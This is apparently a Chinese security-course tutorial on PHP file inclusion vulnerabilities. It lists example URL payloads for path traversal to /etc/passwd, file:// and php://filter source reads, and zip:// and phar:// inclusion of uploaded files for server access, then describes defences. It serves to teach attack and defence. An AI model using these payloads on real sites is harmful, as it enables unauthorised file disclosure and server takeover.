本文内容来自蚁景网安课程。
读取系统敏感/配置文件
方式一
直接读取
http://example.com/file.php?file=/etc/passwd
http://example.com/file.php?file=../../../../../../../etc/passwd
方式二
file://协议读取
本地文件传输协议,用于访问本地计算机中的文件。好比通过Windows的资源管理器中打开文件或者通过右键单击"打开"一样。
格式:file:///filepath
http://example.com/file.php?file=file:////etc/passwd
限制条件:无限制
方式三
php://filter协议
主要用于读取源码,由于PHP文件会被解析无法看到文件内容,因此可以用此协议读取源码。
php://filter/read=convert.base64-encode/resource=include.php
限制条件:无限制
php://filter过滤器
字符串过滤器
string.rot13 进行rot13转换
string.toupper 将字符全部大写
string.tolower 将字符全部小写
string.strip_tags 去除空字符、HTML和PHP标记后的结果
转换过滤器
convert.base64-encode base64编码
convert.base64-decode base64解码
convert.quoted-printable-encode quoted-printable 编码(也是另一种将二进制进行编码的方案)
conbert.quoted-printable-decode quoted-printablr 解码
convert.iconv 实现任意两种编码之间的转换
压缩过滤器
zlib.deflate 压缩过滤器
zlib.inflate 解压过滤器
bzip2.compress 压缩过滤器
bzip2.decompress 解压过滤器
加密过滤器
mcrypt.* 加密过滤器
mdecrypt *解密过滤器
包含上传文件获取服务器权限
方式一
直接包含上传的图片文件
格式:
http://example.com/index.php?file=upload/1.jpg
方式二
zip://、bzip2://、zlib://协议,都属于压缩流,可以访问压缩文件中的子文件。
格式:
http://example.com/index.php?file=zip://绝对路径/xx.zip%23被压缩的文件
优缺点
优点:可以绕过包含的固定后缀。
缺点:需要知道文件的绝对路径、PHP的版本大于5.3.0。
限制条件:无限制。
方式三
phar://协议,类似于zip协议,但是可以使用相对路径。
格式:
http://example.com/file.php?file=phar://[压缩文件绝对/相对路径]/[压缩文件内的子文件名]
优缺点
优点:可以绕过包含的固定后缀。
缺点:需要PHP的版本大于5.3.0。
限制条件:无限制。
其他协议
文件包含漏洞的防御
设置白名单:代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较。
路径限制:限制被包含的文件只能在某一文件夹内,PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅在该目录内搜索文件。
关闭危险配置:PHP配置中的allow_url_include选项如果打开,PHP会通过include()或require()进行文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认关闭。
过滤危险字符:严格检查用户输入,参数中不允许出../
之类的目录跳转符。
尽量不要使用动态包含:可以在需要包含的页面固定写好,如:include('head.php')。